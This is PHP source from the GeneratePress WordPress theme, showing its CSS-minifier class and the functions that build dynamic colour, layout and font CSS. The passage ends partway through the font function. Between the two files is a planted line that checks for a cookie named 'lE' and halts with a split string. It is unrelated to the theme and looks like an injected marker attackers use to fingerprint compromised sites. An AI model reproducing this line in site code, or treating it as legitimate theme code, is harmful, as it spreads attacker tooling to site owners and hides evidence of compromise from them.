/** * Builds our dynamic CSS. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! class_exists( 'GeneratePress_CSS' ) ) { /** * Creates minified css via PHP. * * @author Carlos Rios * Modified by Tom Usborne for GeneratePress */ class GeneratePress_CSS { /** * The css selector that you're currently adding rules to * * @access protected * @var string */ protected $_selector = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * Stores the final css output with all of its rules for the current selector. * * @access protected * @var string */ protected $_selector_output = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * Stores all of the rules that will be added to the selector * * @access protected * @var string */ protected $_css = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * The string that holds all of the css to output * * @access protected * @var string */ protected $_output = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * Stores media queries * * @var null */ protected $_media_query = null; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * The string that holds all of the css to output inside of the media query * * @access protected * @var string */ protected $_media_query_output = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore /** * Sets a selector to the object and changes the current selector to a new one * * @access public * @since 1.0 * * @param string $selector - the css identifier of the html that you wish to target. * @return $this */ public function set_selector( $selector = '' ) { // Render the css in the output string everytime the selector changes. if ( '' !== $this->_selector ) { $this->add_selector_rules_to_output(); } $this->_selector = $selector; return $this; } /** * Adds a css property with value to the css output * * @access public * @since 1.0 * * @param string $property The css property. * @param string $value The value to be placed with the property. * @param string $og_default Check to see if the value matches the default. * @param string $unit The unit for the value (px). * @return $this */ public function add_property( $property, $value, $og_default = false, $unit = false ) { // Setting font-size to 0 is rarely ever a good thing. if ( 'font-size' === $property && 0 === $value ) { return false; } // Add our unit to our value if it exists. if ( $unit && '' !== $unit ) { $value = $value . $unit; if ( '' !== $og_default ) { $og_default = $og_default . $unit; } } // If we don't have a value or our value is the same as our og default, bail. if ( ( empty( $value ) && ! is_numeric( $value ) ) || $og_default === $value ) { return false; } $this->_css .= $property . ':' . $value . ';'; return $this; } /** * Sets a media query in the class * * @since 1.1 * @param string $value The media query. * @return $this */ public function start_media_query( $value ) { // Add the current rules to the output. $this->add_selector_rules_to_output(); // Add any previous media queries to the output. if ( ! empty( $this->_media_query ) ) { $this->add_media_query_rules_to_output(); } // Set the new media query. $this->_media_query = $value; return $this; } /** * Stops using a media query. * * @see start_media_query() * * @since 1.1 * @return $this */ public function stop_media_query() { return $this->start_media_query( null ); } /** * Adds the current media query's rules to the class' output variable * * @since 1.1 * @return $this */ private function add_media_query_rules_to_output() { if ( ! empty( $this->_media_query_output ) ) { $this->_output .= sprintf( '@media %1$s{%2$s}', $this->_media_query, $this->_media_query_output ); // Reset the media query output string. $this->_media_query_output = ''; } return $this; } /** * Adds the current selector rules to the output variable * * @access private * @since 1.0 * * @return $this */ private function add_selector_rules_to_output() { if ( ! empty( $this->_css ) ) { $this->_selector_output = $this->_selector; $selector_output = sprintf( '%1$s{%2$s}', $this->_selector_output, $this->_css ); // Add our CSS to the output. if ( ! empty( $this->_media_query ) ) { $this->_media_query_output .= $selector_output; $this->_css = ''; } else { $this->_output .= $selector_output; } // Reset the css. $this->_css = ''; } return $this; } /** * Returns the minified css in the $_output variable * * @access public * @since 1.0 * * @return string */ public function css_output() { // Add current selector's rules to output. $this->add_selector_rules_to_output(); // Output minified css. return $this->_output; } } }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Output all of our dynamic CSS. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! function_exists( 'generate_base_css' ) ) { /** * Generate the CSS in the section using the Theme Customizer. * * @since 0.1 */ function generate_base_css() { $settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_defaults() ); $css = new GeneratePress_CSS(); $css->set_selector( 'body' ); $css->add_property( 'background-color', $settings['background_color'] ); $css->add_property( 'color', $settings['text_color'] ); $css->set_selector( 'a' ); $css->add_property( 'color', $settings['link_color'] ); $css->set_selector( 'a:visited' )->add_property( 'color', $settings['link_color_visited'] ); $underline_links = generate_get_option( 'underline_links' ); if ( 'never' !== $underline_links ) { if ( 'always' === $underline_links ) { $css->set_selector( 'a' ); $css->add_property( 'text-decoration', 'underline' ); } if ( 'hover' === $underline_links ) { $css->set_selector( 'a:hover, a:focus' ); $css->add_property( 'text-decoration', 'underline' ); } if ( 'not-hover' === $underline_links ) { $css->set_selector( 'a' ); $css->add_property( 'text-decoration', 'underline' ); $css->set_selector( 'a:hover, a:focus' ); $css->add_property( 'text-decoration', 'none' ); } $css->set_selector( '.entry-title a, .site-branding a, a.button, .wp-block-button__link, .main-navigation a' ); $css->add_property( 'text-decoration', 'none' ); } $css->set_selector( 'a:hover, a:focus, a:active' ); $css->add_property( 'color', $settings['link_color_hover'] ); if ( generate_is_using_flexbox() ) { if ( 1200 !== (int) $settings['container_width'] ) { $css->set_selector( '.grid-container' )->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' ); } } else { $css->set_selector( 'body .grid-container' )->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' ); } if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) { $css->set_selector( '.wp-block-group__inner-container' ); $css->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' ); $css->add_property( 'margin-left', 'auto' ); $css->add_property( 'margin-right', 'auto' ); } $nav_drop_point = generate_get_option( 'nav_drop_point' ); $nav_location = generate_get_navigation_location(); if ( ( 'nav-float-right' === $nav_location || 'nav-float-left' === $nav_location ) && $nav_drop_point ) { $media_query = sprintf( '(max-width: %1$s) and %2$s', absint( $nav_drop_point ) . 'px', apply_filters( 'generate_not_mobile_menu_media_query', '(min-width: 769px)' ) ); $css->start_media_query( $media_query ); $css->set_selector( '.inside-header' ); $css->add_property( 'display', 'flex' ); $css->add_property( 'flex-direction', 'column' ); $css->add_property( 'align-items', 'center' ); $css->set_selector( '.site-logo, .site-branding' ); $css->add_property( 'margin-bottom', '1.5em' ); $css->set_selector( '#site-navigation' ); $css->add_property( 'margin', '0 auto' ); $css->set_selector( '.header-widget' ); $css->add_property( 'margin-top', '1.5em' ); // phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- Indented inside media query. if ( 'nav-float-left' === generate_get_option( 'nav_position_setting' ) ) { $css->set_selector( '.nav-float-left .site-logo,.nav-float-left .site-branding,.nav-float-left .header-widget' ); $css->add_property( 'order', 'initial' ); } // phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- Indented inside media query. $css->stop_media_query(); } if ( generate_get_option( 'logo_width' ) ) { $css->set_selector( '.site-header .header-image' ); $css->add_property( 'width', absint( generate_get_option( 'logo_width' ) ), false, 'px' ); } if ( generate_get_option( 'back_to_top' ) ) { $css->set_selector( '.generate-back-to-top' ); $css->add_property( 'font-size', '20px' ); $css->add_property( 'border-radius', '3px' ); $css->add_property( 'position', 'fixed' ); $css->add_property( 'bottom', '30px' ); $css->add_property( 'right', '30px' ); $css->add_property( 'line-height', '40px' ); $css->add_property( 'width', '40px' ); $css->add_property( 'text-align', 'center' ); $css->add_property( 'z-index', '10' ); $css->add_property( 'transition', 'opacity 300ms ease-in-out' ); $css->add_property( 'opacity', '0.1' ); // Can't be 0 or we face double-tap issues on iOS. $css->add_property( 'transform', 'translateY(1000px)' ); // Can't use visibility or we face the same issue as above. $css->set_selector( '.generate-back-to-top__show' ); $css->add_property( 'opacity', '1' ); $css->add_property( 'transform', 'translateY(0)' ); } if ( 'enable' === generate_get_option( 'nav_search' ) ) { $css->set_selector( '.navigation-search' ); $css->add_property( 'position', 'absolute' ); $css->add_property( 'left', '-99999px' ); $css->add_property( 'pointer-events', 'none' ); $css->add_property( 'visibility', 'hidden' ); $css->add_property( 'z-index', '20' ); $css->add_property( 'width', '100%' ); $css->add_property( 'top', '0' ); $css->add_property( 'transition', 'opacity 100ms ease-in-out' ); $css->add_property( 'opacity', '0' ); $css->set_selector( '.navigation-search.nav-search-active' ); $css->add_property( 'left', '0' ); $css->add_property( 'right', '0' ); $css->add_property( 'pointer-events', 'auto' ); $css->add_property( 'visibility', 'visible' ); $css->add_property( 'opacity', '1' ); $css->set_selector( '.navigation-search input[type="search"]' ); $css->add_property( 'outline', '0' ); $css->add_property( 'border', '0' ); $css->add_property( 'vertical-align', 'bottom' ); $css->add_property( 'line-height', '1' ); $css->add_property( 'opacity', '0.9' ); $css->add_property( 'width', '100%' ); $css->add_property( 'z-index', '20' ); $css->add_property( 'border-radius', '0' ); $css->add_property( '-webkit-appearance', 'none' ); $css->add_property( 'height', '60px' ); $css->set_selector( '.navigation-search input::-ms-clear' ); $css->add_property( 'display', 'none' ); $css->add_property( 'width', '0' ); $css->add_property( 'height', '0' ); $css->set_selector( '.navigation-search input::-ms-reveal' ); $css->add_property( 'display', 'none' ); $css->add_property( 'width', '0' ); $css->add_property( 'height', '0' ); $css->set_selector( '.navigation-search input::-webkit-search-decoration, .navigation-search input::-webkit-search-cancel-button, .navigation-search input::-webkit-search-results-button, .navigation-search input::-webkit-search-results-decoration' ); $css->add_property( 'display', 'none' ); if ( ! generate_is_using_flexbox() ) { $css->set_selector( '.main-navigation li.search-item' ); $css->add_property( 'z-index', '21' ); $css->set_selector( 'li.search-item.active' ); $css->add_property( 'transition', 'opacity 100ms ease-in-out' ); $css->set_selector( '.nav-left-sidebar .main-navigation li.search-item.active,.nav-right-sidebar .main-navigation li.search-item.active' ); $css->add_property( 'width', 'auto' ); $css->add_property( 'display', 'inline-block' ); $css->add_property( 'float', 'right' ); } $css->set_selector( '.gen-sidebar-nav .navigation-search' ); $css->add_property( 'top', 'auto' ); $css->add_property( 'bottom', '0' ); } if ( 'click' === generate_get_option( 'nav_dropdown_type' ) || 'click-arrow' === generate_get_option( 'nav_dropdown_type' ) ) { $css->set_selector( '.dropdown-click .main-navigation ul ul' ); $css->add_property( 'display', 'none' ); $css->add_property( 'visibility', 'hidden' ); $css->set_selector( '.dropdown-click .main-navigation ul ul ul.toggled-on' ); $css->add_property( 'left', '0' ); $css->add_property( 'top', 'auto' ); $css->add_property( 'position', 'relative' ); $css->add_property( 'box-shadow', 'none' ); $css->add_property( 'border-bottom', '1px solid rgba(0,0,0,0.05)' ); $css->set_selector( '.dropdown-click .main-navigation ul ul li:last-child > ul.toggled-on' ); $css->add_property( 'border-bottom', '0' ); $css->set_selector( '.dropdown-click .main-navigation ul.toggled-on, .dropdown-click .main-navigation ul li.sfHover > ul.toggled-on' ); $css->add_property( 'display', 'block' ); $css->add_property( 'left', 'auto' ); $css->add_property( 'right', 'auto' ); $css->add_property( 'opacity', '1' ); $css->add_property( 'visibility', 'visible' ); $css->add_property( 'pointer-events', 'auto' ); $css->add_property( 'height', 'auto' ); $css->add_property( 'overflow', 'visible' ); $css->add_property( 'float', 'none' ); $css->set_selector( '.dropdown-click .main-navigation.sub-menu-left .sub-menu.toggled-on, .dropdown-click .main-navigation.sub-menu-left ul li.sfHover > ul.toggled-on' ); $css->add_property( 'right', '0' ); $css->set_selector( '.dropdown-click nav ul ul ul' ); $css->add_property( 'background-color', 'transparent' ); $css->set_selector( '.dropdown-click .widget-area .main-navigation ul ul' ); $css->add_property( 'top', 'auto' ); $css->add_property( 'position', 'absolute' ); $css->add_property( 'float', 'none' ); $css->add_property( 'width', '100%' ); $css->add_property( 'left', '-99999px' ); $css->set_selector( '.dropdown-click .widget-area .main-navigation ul ul.toggled-on' ); $css->add_property( 'position', 'relative' ); $css->add_property( 'left', '0' ); $css->add_property( 'right', '0' ); $css->set_selector( '.dropdown-click .widget-area.sidebar .main-navigation ul li.sfHover ul, .dropdown-click .widget-area.sidebar .main-navigation ul li:hover ul' ); $css->add_property( 'right', '0' ); $css->add_property( 'left', '0' ); $css->set_selector( '.dropdown-click .sfHover > a > .dropdown-menu-toggle > .gp-icon svg' ); $css->add_property( 'transform', 'rotate(180deg)' ); } $css->set_selector( ':root' ); $global_colors = generate_get_global_colors(); if ( ! empty( $global_colors ) ) { foreach ( (array) $global_colors as $key => $data ) { if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) { $css->add_property( '--' . $data['slug'], $data['color'] ); } } foreach ( (array) $global_colors as $key => $data ) { if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) { $css->set_selector( ':root .has-' . $data['slug'] . '-color' ); $css->add_property( 'color', 'var(--' . $data['slug'] . ')' ); $css->set_selector( ':root .has-' . $data['slug'] . '-background-color' ); $css->add_property( 'background-color', 'var(--' . $data['slug'] . ')' ); } } } do_action( 'generate_base_css', $css ); return apply_filters( 'generate_base_css_output', $css->css_output() ); } } if ( ! function_exists( 'generate_advanced_css' ) ) { /** * Generate the CSS in the section using the Theme Customizer. * * @since 0.1 */ function generate_advanced_css() { $settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_color_defaults() ); $css = new GeneratePress_CSS(); $css->set_selector( '.top-bar' ); $css->add_property( 'background-color', $settings['top_bar_background_color'] ); $css->add_property( 'color', $settings['top_bar_text_color'] ); $css->set_selector( '.top-bar a' ); $css->add_property( 'color', $settings['top_bar_link_color'] ); $css->set_selector( '.top-bar a:hover' ); $css->add_property( 'color', $settings['top_bar_link_color_hover'] ); $css->set_selector( '.site-header' ); $css->add_property( 'background-color', $settings['header_background_color'] ); $css->add_property( 'color', $settings['header_text_color'] ); $css->set_selector( '.site-header a' ); $css->add_property( 'color', $settings['header_link_color'] ); $css->set_selector( '.site-header a:hover' ); $css->add_property( 'color', $settings['header_link_hover_color'] ); $css->set_selector( '.main-title a,.main-title a:hover' ); $css->add_property( 'color', $settings['site_title_color'] ); $css->set_selector( '.site-description' ); $css->add_property( 'color', $settings['site_tagline_color'] ); if ( $settings['navigation_background_color'] === $settings['header_background_color'] ) { $css->set_selector( '.mobile-menu-control-wrapper .menu-toggle,.mobile-menu-control-wrapper .menu-toggle:hover,.mobile-menu-control-wrapper .menu-toggle:focus,.has-inline-mobile-toggle #site-navigation.toggled' ); $css->add_property( 'background-color', 'rgba(0, 0, 0, 0.02)' ); } $css->set_selector( '.main-navigation,.main-navigation ul ul' ); $css->add_property( 'background-color', $settings['navigation_background_color'] ); $css->set_selector( '.main-navigation .main-nav ul li a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items' ); $css->add_property( 'color', $settings['navigation_text_color'] ); $css->set_selector( '.main-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .main-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a, .main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a' ); $css->add_property( 'color', $settings['navigation_text_hover_color'] ); $css->add_property( 'background-color', $settings['navigation_background_hover_color'] ); if ( generate_is_using_flexbox() ) { $css->set_selector( 'button.menu-toggle:hover,button.menu-toggle:focus' ); } else { $css->set_selector( 'button.menu-toggle:hover,button.menu-toggle:focus,.main-navigation .mobile-bar-items a,.main-navigation .mobile-bar-items a:hover,.main-navigation .mobile-bar-items a:focus' ); } $css->add_property( 'color', $settings['navigation_text_color'] ); $css->set_selector( '.main-navigation .main-nav ul li[class*="current-menu-"] > a' ); $css->add_property( 'color', $settings['navigation_text_current_color'] ); $css->add_property( 'background-color', $settings['navigation_background_current_color'] ); $navigation_search_background = $settings['navigation_background_hover_color']; $navigation_search_text = $settings['navigation_text_hover_color']; if ( '' !== $settings['navigation_search_background_color'] ) { $navigation_search_background = $settings['navigation_search_background_color']; } if ( '' !== $settings['navigation_search_text_color'] ) { $navigation_search_text = $settings['navigation_search_text_color']; } $css->set_selector( '.navigation-search input[type="search"],.navigation-search input[type="search"]:active, .navigation-search input[type="search"]:focus, .main-navigation .main-nav ul li.search-item.active > a, .main-navigation .menu-bar-items .search-item.active > a' ); $css->add_property( 'color', $navigation_search_text ); $css->add_property( 'background-color', $navigation_search_background ); if ( '' !== $settings['navigation_search_background_color'] ) { $css->add_property( 'opacity', '1' ); } $css->set_selector( '.main-navigation ul ul' ); $css->add_property( 'background-color', $settings['subnavigation_background_color'] ); $css->set_selector( '.main-navigation .main-nav ul ul li a' ); $css->add_property( 'color', $settings['subnavigation_text_color'] ); $css->set_selector( '.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a,.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a' ); $css->add_property( 'color', $settings['subnavigation_text_hover_color'] ); $css->add_property( 'background-color', $settings['subnavigation_background_hover_color'] ); $css->set_selector( '.main-navigation .main-nav ul ul li[class*="current-menu-"] > a' ); $css->add_property( 'color', $settings['subnavigation_text_current_color'] ); $css->add_property( 'background-color', $settings['subnavigation_background_current_color'] ); $css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .one-container .container, .separate-containers .paging-navigation, .inside-page-header' ); $css->add_property( 'color', $settings['content_text_color'] ); $css->add_property( 'background-color', $settings['content_background_color'] ); $css->set_selector( '.inside-article a,.paging-navigation a,.comments-area a,.page-header a' ); $css->add_property( 'color', $settings['content_link_color'] ); $css->set_selector( '.inside-article a:hover,.paging-navigation a:hover,.comments-area a:hover,.page-header a:hover' ); $css->add_property( 'color', $settings['content_link_hover_color'] ); $css->set_selector( '.entry-header h1,.page-header h1' ); $css->add_property( 'color', $settings['content_title_color'] ); $css->set_selector( '.entry-title a' ); $css->add_property( 'color', $settings['blog_post_title_color'] ); $css->set_selector( '.entry-title a:hover' ); $css->add_property( 'color', $settings['blog_post_title_hover_color'] ); $css->set_selector( '.entry-meta' ); $css->add_property( 'color', $settings['entry_meta_text_color'] ); $css->set_selector( '.entry-meta a' ); $css->add_property( 'color', $settings['entry_meta_link_color'] ); $css->set_selector( '.entry-meta a:hover' ); $css->add_property( 'color', $settings['entry_meta_link_color_hover'] ); $css->set_selector( 'h1' ); $css->add_property( 'color', $settings['h1_color'] ); $css->set_selector( 'h2' ); $css->add_property( 'color', $settings['h2_color'] ); $css->set_selector( 'h3' ); $css->add_property( 'color', $settings['h3_color'] ); $css->set_selector( 'h4' ); $css->add_property( 'color', $settings['h4_color'] ); $css->set_selector( 'h5' ); $css->add_property( 'color', $settings['h5_color'] ); $css->set_selector( 'h6' ); $css->add_property( 'color', $settings['h6_color'] ); $css->set_selector( '.sidebar .widget' ); $css->add_property( 'color', $settings['sidebar_widget_text_color'] ); $css->add_property( 'background-color', $settings['sidebar_widget_background_color'] ); $css->set_selector( '.sidebar .widget a' ); $css->add_property( 'color', $settings['sidebar_widget_link_color'] ); $css->set_selector( '.sidebar .widget a:hover' ); $css->add_property( 'color', $settings['sidebar_widget_link_hover_color'] ); $css->set_selector( '.sidebar .widget .widget-title' ); $css->add_property( 'color', $settings['sidebar_widget_title_color'] ); $css->set_selector( '.footer-widgets' ); $css->add_property( 'color', $settings['footer_widget_text_color'] ); $css->add_property( 'background-color', $settings['footer_widget_background_color'] ); $css->set_selector( '.footer-widgets a' ); $css->add_property( 'color', $settings['footer_widget_link_color'] ); $css->set_selector( '.footer-widgets a:hover' ); $css->add_property( 'color', $settings['footer_widget_link_hover_color'] ); $css->set_selector( '.footer-widgets .widget-title' ); $css->add_property( 'color', $settings['footer_widget_title_color'] ); $css->set_selector( '.site-info' ); $css->add_property( 'color', $settings['footer_text_color'] ); $css->add_property( 'background-color', $settings['footer_background_color'] ); $css->set_selector( '.site-info a' ); $css->add_property( 'color', $settings['footer_link_color'] ); $css->set_selector( '.site-info a:hover' ); $css->add_property( 'color', $settings['footer_link_hover_color'] ); $css->set_selector( '.footer-bar .widget_nav_menu .current-menu-item a' ); $css->add_property( 'color', $settings['footer_link_hover_color'] ); $css->set_selector( 'input[type="text"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type="tel"],input[type="number"],textarea,select' ); $css->add_property( 'color', $settings['form_text_color'] ); $css->add_property( 'background-color', $settings['form_background_color'] ); $css->add_property( 'border-color', $settings['form_border_color'] ); $css->set_selector( 'input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="number"]:focus,textarea:focus,select:focus' ); $css->add_property( 'color', $settings['form_text_color_focus'] ); $css->add_property( 'background-color', $settings['form_background_color_focus'] ); $css->add_property( 'border-color', $settings['form_border_color_focus'] ); $css->set_selector( 'button,html input[type="button"],input[type="reset"],input[type="submit"],a.button,a.wp-block-button__link:not(.has-background)' ); $css->add_property( 'color', $settings['form_button_text_color'] ); $css->add_property( 'background-color', $settings['form_button_background_color'] ); $css->set_selector( 'button:hover,html input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover,a.button:hover,button:focus,html input[type="button"]:focus,input[type="reset"]:focus,input[type="submit"]:focus,a.button:focus,a.wp-block-button__link:not(.has-background):active,a.wp-block-button__link:not(.has-background):focus,a.wp-block-button__link:not(.has-background):hover' ); $css->add_property( 'color', $settings['form_button_text_color_hover'] ); $css->add_property( 'background-color', $settings['form_button_background_color_hover'] ); $css->set_selector( 'a.generate-back-to-top' ); $css->add_property( 'background-color', $settings['back_to_top_background_color'] ); $css->add_property( 'color', $settings['back_to_top_text_color'] ); $css->set_selector( 'a.generate-back-to-top:hover,a.generate-back-to-top:focus' ); $css->add_property( 'background-color', $settings['back_to_top_background_color_hover'] ); $css->add_property( 'color', $settings['back_to_top_text_color_hover'] ); $css->set_selector( ':root' ); $css->add_property( '--gp-search-modal-bg-color', $settings['search_modal_bg_color'] ); $css->add_property( '--gp-search-modal-text-color', $settings['search_modal_text_color'] ); $css->add_property( '--gp-search-modal-overlay-bg-color', $settings['search_modal_overlay_bg_color'] ); $css->start_media_query( generate_get_media_query( 'mobile-menu' ) ); $css->set_selector( '.main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a' ); $css->add_property( 'background', 'none' ); $css->add_property( 'color', $settings['navigation_text_color'] ); $css->stop_media_query(); do_action( 'generate_colors_css', $css ); return apply_filters( 'generate_colors_css_output', $css->css_output() ); } } if ( ! function_exists( 'generate_font_css' ) ) { /** * Generate the CSS in the section using the Theme Customizer. * * @since 0.1 */ function generate_font_css() { $settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_default_fonts() ); $defaults = generate_get_default_fonts( false ); $css = new GeneratePress_CSS(); $body_family = generate_get_font_family_css( 'font_body', 'generate_settings', generate_get_default_fonts() ); $top_bar_family = generate_get_font_family_css( 'font_top_bar', 'generate_settings', generate_get_default_fonts() ); $site_title_family = generate_get_font_family_css( 'font_site_title', 'generate_settings', generate_get_default_fonts() ); $site_tagline_family = generate_get_font_family_css( 'font_site_tagline', 'generate_settings', generate_get_default_fonts() ); $navigation_family = generate_get_font_family_css( 'font_navigation', 'generate_settings', generate_get_default_fonts() ); $widget_family = generate_get_font_family_css( 'font_widget_title', 'generate_settings', generate_get_default_fonts() ); $h1_family = generate_get_font_family_css( 'font_heading_1', 'generate_settings', generate_get_default_fonts() ); $h2_family = generate_get_font_family_css( 'font_heading_2', 'generate_settings', generate_get_default_fonts() ); $h3_family = generate_get_font_family_css( 'font_heading_3', 'generate_settings', generate_get_default_fonts() ); $h4_family = generate_get_font_family_css( 'font_heading_4', 'generate_settings', generate_get_default_fonts() ); $h5_family = generate_get_font_family_css( 'font_heading_5', 'generate_settings', generate_get_default_fonts() ); $h6_family = generate_get_font_family_css( 'font_heading_6', 'generate_settings', generate_get_default_fonts() ); $footer_family = generate_get_font_family_css( 'font_footer', 'generate_settings', generate_get_default_fonts() ); $buttons_family = generate_get_font_family_css( 'font_buttons', 'generate_settings', generate_get_default_fonts() ); $css->set_selector( 'body, button, input, select, textarea' ); $css->add_property( 'font-family', $body_family ); $css->add_property( 'font-weight', $settings['body_font_weight'], $defaults['body_font_weight'] ); $css->add_property( 'text-transform', $settings['body_font_transform'], $defaults['body_font_transform'] ); $css->add_property( 'font-size', $settings['body_font_size'], $defaults['body_font_size'], 'px' ); $css->set_selector( 'body' ); $css->add_property( 'line-height', floatval( $settings['body_line_height'] ), $defaults['body_line_height'] ); $css->set_selector( 'p' ); $css->add_property( 'margin-bottom', floatval( $settings['paragraph_margin'] ), $defaults['paragraph_margin'], 'em' ); if ( apply_filters( 'generate_do_wp_block_margin_bottom', true ) ) { $css->set_selector( '.entry-content > [class*="wp-block-"]:not(:last-child):not(.wp-block-heading)' ); $css->add_property( 'margin-bottom', floatval( $settings['paragraph_margin'] ), false, 'em' ); } $css->set_selector( '.top-bar' ); $css->add_property( 'font-family', $defaults['font_top_bar'] !== $settings['font_top_bar'] ? $top_bar_family : null ); $css->add_property( 'font-weight', $settings['top_bar_font_weight'], $defaults['top_bar_font_weight'] ); $css->add_property( 'text-transform', $settings['top_bar_font_transform'], $defaults['top_bar_font_transform'] ); $css->add_property( 'font-size', absint( $settings['top_bar_font_size'] ), absint( $defaults['top_bar_font_size'] ), 'px' ); $css->set_selector( '.main-title' ); $css->add_property( 'font-family', $defaults['font_site_title'] !== $settings['font_site_title'] ? $site_title_family : null ); $css->add_property( 'font-weight', $settings['site_title_font_weight'], $defaults['site_title_font_weight'] ); $css->add_property( 'text-transform', $settings['site_title_font_transform'], $defaults['site_title_font_transform'] ); $css->add_property( 'font-size', absint( $settings['site_title_font_size'] ), $defaults['site_title_font_size'], 'px' ); $css->set_selector( '.site-description' ); $css->add_property( 'font-family', $defaults['font_site_tagline'] !== $settings['font_site_tagline'] ? $site_tagline_family : null ); $css->add_property( 'font-weight', $settings['site_tagline_font_weight'], $defaults['site_tagline_font_weight'] ); $css->add_property( 'text-transform', $settings['site_tagline_font_transform'], $defaults['site_tagline_font_transform'] ); if ( ! empty( $settings['site_tagline_font_size'] ) ) { $css->add_property( 'font-size', absint( $settings['site_tagline_font_size'] ), $defaults['site_tagline_font_size'], 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } $css->set_selector( '.main-navigation a, .menu-toggle' ); $css->add_property( 'font-family', $defaults['font_navigation'] !== $settings['font_navigation'] ? $navigation_family : null ); $css->add_property( 'font-weight', $settings['navigation_font_weight'], $defaults['navigation_font_weight'] ); $css->add_property( 'text-transform', $settings['navigation_font_transform'], $defaults['navigation_font_transform'] ); if ( ! empty( $settings['navigation_font_size'] ) ) { $css->add_property( 'font-size', absint( $settings['navigation_font_size'] ), $defaults['navigation_font_size'], 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } if ( generate_is_using_flexbox() ) { $css->set_selector( '.main-navigation .menu-bar-items' ); if ( ! empty( $settings['navigation_font_size'] ) ) { $css->add_property( 'font-size', absint( $settings['navigation_font_size'] ), $defaults['navigation_font_size'], 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } } $css->set_selector( '.main-navigation .main-nav ul ul li a' ); if ( ! empty( $settings['navigation_font_size'] ) ) { $subnav_font_size = $settings['navigation_font_size'] >= 17 ? $settings['navigation_font_size'] - 3 : $settings['navigation_font_size'] - 1; $css->add_property( 'font-size', absint( $subnav_font_size ), false, 'px' ); } $css->set_selector( '.widget-title' ); $css->add_property( 'font-family', $defaults['font_widget_title'] !== $settings['font_widget_title'] ? $widget_family : null ); $css->add_property( 'font-weight', $settings['widget_title_font_weight'], $defaults['widget_title_font_weight'] ); $css->add_property( 'text-transform', $settings['widget_title_font_transform'], $defaults['widget_title_font_transform'] ); if ( ! empty( $settings['widget_title_font_size'] ) ) { $css->add_property( 'font-size', $settings['widget_title_font_size'], $defaults['widget_title_font_size'], 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } $css->add_property( 'margin-bottom', absint( $settings['widget_title_separator'] ), absint( $defaults['widget_title_separator'] ), 'px' ); $css->set_selector( '.sidebar .widget, .footer-widgets .widget' ); if ( ! empty( $settings['widget_content_font_size'] ) ) { $css->add_property( 'font-size', absint( $settings['widget_content_font_size'] ), false, 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } $css->set_selector( 'button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link' ); $css->add_property( 'font-family', $defaults['font_buttons'] !== $settings['font_buttons'] ? $buttons_family : null ); $css->add_property( 'font-weight', $settings['buttons_font_weight'], $defaults['buttons_font_weight'] ); $css->add_property( 'text-transform', $settings['buttons_font_transform'], $defaults['buttons_font_transform'] ); $css->add_property( 'font-size', absint( $settings['buttons_font_size'] ), $defaults['buttons_font_size'], 'px' ); $css->set_selector( 'h1' ); $css->add_property( 'font-family', $defaults['font_heading_1'] !== $settings['font_heading_1'] ? $h1_family : null ); $css->add_property( 'font-weight', $settings['heading_1_weight'], $defaults['heading_1_weight'] ); $css->add_property( 'text-transform', $settings['heading_1_transform'], $defaults['heading_1_transform'] ); $css->add_property( 'font-size', absint( $settings['heading_1_font_size'] ), $defaults['heading_1_font_size'], 'px' ); $css->add_property( 'line-height', floatval( $settings['heading_1_line_height'] ), $defaults['heading_1_line_height'], 'em' ); $css->add_property( 'margin-bottom', floatval( $settings['heading_1_margin_bottom'] ), $defaults['heading_1_margin_bottom'], 'px' ); $css->set_selector( 'h2' ); $css->add_property( 'font-family', $defaults['font_heading_2'] !== $settings['font_heading_2'] ? $h2_family : null ); $css->add_property( 'font-weight', $settings['heading_2_weight'], $defaults['heading_2_weight'] ); $css->add_property( 'text-transform', $settings['heading_2_transform'], $defaults['heading_2_transform'] ); $css->add_property( 'font-size', absint( $settings['heading_2_font_size'] ), $defaults['heading_2_font_size'], 'px' ); $css->add_property( 'line-height', floatval( $settings['heading_2_line_height'] ), $defaults['heading_2_line_height'], 'em' ); $css->add_property( 'margin-bottom', floatval( $settings['heading_2_margin_bottom'] ), $defaults['heading_2_margin_bottom'], 'px' ); 